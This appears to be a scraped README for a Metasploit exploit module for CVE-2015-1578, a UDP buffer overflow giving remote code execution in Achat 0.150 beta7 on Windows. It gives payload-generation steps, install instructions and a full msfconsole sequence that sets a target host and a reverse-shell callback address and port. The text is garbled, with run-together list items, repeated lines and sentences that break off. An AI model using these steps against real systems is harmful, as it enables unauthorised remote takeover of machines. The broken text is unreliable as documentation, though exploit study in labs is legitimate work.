
This is a proof-of-concept Metasploit module exploit for CVE-2015-1578, a buffer overflow vulnerability in Achat 0.150 beta7 on Windows. Exploitation leads to remote code execution via a crafted UDP packet.
This is a Metasploit module for CVE-2015-1578, a buffer overflow vulnerability in Achat 0.150 beta7 on Windows. Exploitation leads to remote code execution via a crafted UDP packet.
This module is designed to serve as a clean, minimal, and well-structured example of Metasploit exploit development. It demonstrates:
msfvenommsfvenom in your $PATHmsfvenom to generate payload with x86/unicode_mixed encoding and custom bad characters./install.sh
Then launch Metasploit and run:
reload_all
use exploit/windows/yaldobaoth/achat_bof
Options
RHOSTS – Target IP address (required)LHOST – Local host IP for reverse shell (required)LPORT – Local port for reverse shell (default: 4444)RPORT – Remote UDP port on target (default: 9256)Usage Example
msfconsole
use exploit/windows/yaldobaoth/achat_bof
set RHOSTS 10.10.10.74
set LHOST 10.10.16.7
set LPORT 9393
run
This will:
LHOST:LPORT